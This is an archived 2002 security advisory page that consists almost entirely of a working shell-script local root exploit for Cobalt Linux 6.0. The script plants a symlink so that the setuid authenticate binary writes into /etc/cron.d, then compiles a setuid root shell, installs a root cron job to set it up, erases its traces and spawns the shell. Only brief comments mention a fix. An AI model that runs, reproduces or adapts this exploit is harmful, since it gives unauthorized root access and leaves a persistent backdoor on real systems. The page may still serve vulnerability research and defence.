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TUCoPS :: Linux :: General :: lnx5688.htm

Cobalt Linux 6.0 symlink local root exploit



16th Sep 2002 [SBWID-5688]
COMMAND

	
		Cobalt symlink local root exploit
	
	

SYSTEMS AFFECTED

	
		Cobalt Linux 6.0
	
	

PROBLEM

	
		 Exploit :

		 =======

		

		

		#!/bin/sh

		#

		# Cobalt Linux 6.0 Local Root Exploit

		#

		# Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;)

		# Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate"

		#

		# Problem Source Code:

		# fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666);

		#

		# Suggested Code:

		# fd = mkstemp("/tmp/gmon.out-XXXXXX");

		#

		# Still need help Cobalt developers? Ok:

		# man 3 tmpfile; man 2 open; echo "Thanks core"

		#

		# by Charles Stevenson <core@bokeoa.com>

		#

		# Fri Jun 28 03:35:53 MDT 2002

		# - initial version

		# Sun Jul 7 20:12:41 MDT 2002

		# - added some features for robustness

		

		echo "RaQFuCK.sh by core"

		

		target="/usr/lib/authenticate"

		tempdir="/tmp"

		

		if [ -u /.sushi ] ; then

		exec /.sushi

		fi

		

		printf "Checking for $target..."

		if [ -f "$target" ] ; then

		echo "done."

		else

		echo "NO!"

		exit 1

		fi

		

		printf "Checking if $target is setuid root..."

		if [ -u "$target" ] ; then

		echo "done."

		else

		echo "NO! Hrm... does this admin have a clue???"

		exit 1

		fi

		

		if [ ! -d "$tempdir/core" ]; then

		printf "Creating $tempdir/core..."

		if ! mkdir "$tempdir/core" 2>/dev/null ; then

		echo "FAILED!" ; exit 1

		fi

		echo "done."

		fi

		

		printf "Changing directory to $tempdir/core..."

		if ! cd "$tempdir/core" 2>/dev/null ; then

		echo "FAILED!" ; exit 1

		else

		echo "done."

		fi

		

		printf "Creating cron.d symlink..."

		if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then

		echo "FAILED!" ; exit 1

		else

		echo "done."

		fi

		

		printf "Changing umask..."

		if ! umask 000 ; then

		echo "FAILED!" ; exit 1

		else

		echo "done."

		fi

		

		printf "Compiling root shell..."

		cat >sushi.c <<EOF

		#include <unistd.h>

		int main (int argc, char **argv, char **envp) {

		setuid(0);

		setgid(0);

		execve("/bin/sh",argv,envp);

		return -1;

		}

		EOF

		if ! cc sushi.c -o sushi 2>/dev/null; then

		echo "FAILED!" ; exit 1

		else

		echo "done."

		fi

		

		printf "Compiling cron takeover..."

		cat >takeover.c <<EOF

		#include <stdlib.h>

		main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); }

		EOF

		if ! cc takeover.c -o own 2>/dev/null; then

		echo "FAILED!" ; exit 1

		fi

		echo "done."

		

		printf "Performing symlink attack..."

		printf "\n\n\n\n" | "$target"

		if [ -u /etc/cron.d/core ] ; then

		echo "SYMLINK ATTACK FAILED!" && exit 1

		else

		echo "done."

		fi

		

		printf "Setting up evil cron job..."

		cat >croncore <<EOF

		*/1 * * * * root if [ -x "$tempdir/core/own" ] ; then 

		"$tempdir/core/own"; fi

		EOF

		if ! cat croncore 2>/dev/null >/etc/cron.d/core; then

		echo "FAILED!" ; exit 1

		else

		echo "done."

		fi

		

		printf "Waiting for root shell"

		while [ ! -u /.sushi ] ; do

		sleep 1 ; printf "."

		done

		echo "done."

		

		cd /

		

		printf "Cleaning up real quick..."

		if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then

		echo "FAILED??? Fuck it!"

		else

		echo "done."

		fi

		

		echo "Spawning root shell!!! God Damn! I say GOD DAMN!!"

		if ! exec /.sushi -i; then

		echo "Exec Failed!!! BUMMER!" ; exit 1

		fi

		
	
	

SOLUTION

	
	


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